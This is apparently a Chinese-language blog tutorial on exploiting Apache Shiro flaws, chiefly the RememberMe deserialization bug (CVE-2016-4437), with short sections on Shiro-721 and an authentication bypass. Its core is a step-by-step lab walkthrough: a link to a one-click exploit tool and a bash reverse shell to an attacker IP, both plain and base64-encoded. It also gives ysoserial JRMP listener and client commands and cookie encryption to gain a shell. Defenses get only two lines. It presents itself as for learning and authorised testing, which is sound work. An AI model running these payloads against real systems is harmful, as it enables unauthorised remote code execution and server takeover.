Shiro反序列化漏洞

安全攻防,攻生防。本文章僅使用於學習和企業授權測試,網絡安全法非空文兒戲,望君酌之!

一、Shrio反序列化導致命令執行(Shiro-550 CVE-2016-4437)

在這裏插入圖片描述

1.1 漏洞介紹

1.1.1 漏洞簡介

  Apache Shiro是一款開源企業常見JAVA安全框架,提供身份驗證、授權、密碼學和會話管理。java中的權限框架有SpringSecurity和Shiro,由於Spring功能強大但複雜,Shiro的簡單強大,擴展性好因此用的還是很多。

1.1.2 影響版本

  • Apache Shiro < 1.2.4

1.1.3 漏洞原理

  Apache Shiro框架提供了記住我的功能(RememberMe),用戶登錄成功後會生成經過加密並編碼的cookie。cookie的key爲RememberMe,cookie的值是經過相關信息進行序列化,然後使用AES加密(對稱),最後再使用Base64編碼處理。服務端在接收cookie時:

  1. 檢索RememberMe Cookie的值
  2. Base 64解碼
  3. AES解密(加密密鑰硬編碼)
  4. 進行反序列化操作(未過濾處理)

攻擊者可以使用Shiro的默認密鑰構造惡意序列化對象進行編碼來僞造用戶的Cookie,服務端反序列化時觸發漏洞,從而執行命令。

1.1.4 漏洞特徵

》》進行登錄,返回包中查看是否有rememberMe=deleteMe字段
在這裏插入圖片描述

1.1.5 漏洞影響

  只要rememberMe的AES加密密鑰泄漏,無論shiro什麼版本都會導致反序列化漏洞。

1.2 環境配置

  • 受害者IP:192.168.226.140(vulhub、docker)

》》進入目標目錄下,啓動一個shiro1.2.4的web服務
在這裏插入圖片描述
》》訪問web頁面
在這裏插入圖片描述

1.3 漏洞利用

1.3.1 利用方法(一)

演示環境:

  • 攻擊者IP:192.168.1.101

UI一鍵利用工具:

GitHub地址:https://github.com/feihong-cs/ShiroExploit
》》從地址下載一鍵利用工具,雙擊ShiroExploit.jar
在這裏插入圖片描述
》》輸入目標地址,選擇目標對象,點擊下一步
在這裏插入圖片描述
》》點擊下一步
在這裏插入圖片描述
》》反彈shell
在這裏插入圖片描述

1.3.2 利用方法(二)

演示環境:

  • 攻擊者IP:192.168.159.128(kali)

利用限制:

  • 一臺公網主機(裝有java環境、netcat)
  • ysoserial.jar
  • shiro-exp.jar

》》進行登錄,抓取登錄請求包
在這裏插入圖片描述
(可以注意到這裏返回包中只有一個Set-Cookie)
在這裏插入圖片描述


攻擊者(Kali)執行以下操作(真實攻擊場景需要在VPS上執行)

》》事先開啓三個終端
操作
》》nc在81端口上監聽shell(終端 1)
在這裏插入圖片描述
》》開啓轉發,監聽19999端口(終端 2)
在這裏插入圖片描述

  • bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (執行的命令)
  • bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (對執行的命令進行Base64編碼)
  • java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}" (ysoserial在19999端口監聽,未加粗的是編碼後的執行命令)

》》生成payload(終端 3)

java -jar ysoserial.jar JRMPClient "192.168.159.128:19999" > /tmp/jrmp.ser

在這裏插入圖片描述
》》對payload進行編碼

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

在這裏插入圖片描述
》》將構造的序列化編碼cookie通過登錄包發送到服務端(這裏必須登錄成功狀態下)
在這裏插入圖片描述
(成功收到shell)
在這裏插入圖片描述

1.4 防禦措施

  • 升級Shiro到最新版本
  • WAF攔截Cookie中長度過大的rememberMe值

二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)

2.1 漏洞簡介

  Shiro實用AES-CBC模式進行加解密,存在Padding Oracle Attack漏洞,已登錄的攻擊者同樣可進行反序列化操作。

2.2 影響版本

  • Apache Shiro < 1.4.2

2.2 漏洞利用

同1.3.1

利用技巧:
如果攻擊沒有生效,嘗試刪除Cookie中的Jsessionid字段,防止服務端不去處理cookie

三、Shiro權限繞過漏洞(Shiro-682 CVE-2020-1957)

3.1 漏洞介紹

  由於Shiro的攔截器和Spring(Servlet)攔截器對於URI模式匹配的差異,導致鑑權問題。

3.2 影響版本

  • Apache Shiro < 1.5.2

3.3 漏洞利用

方法同1.3.1

四、官方CVE動態

  • 官網:http://shiro.apache.org/
    在這裏插入圖片描述
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章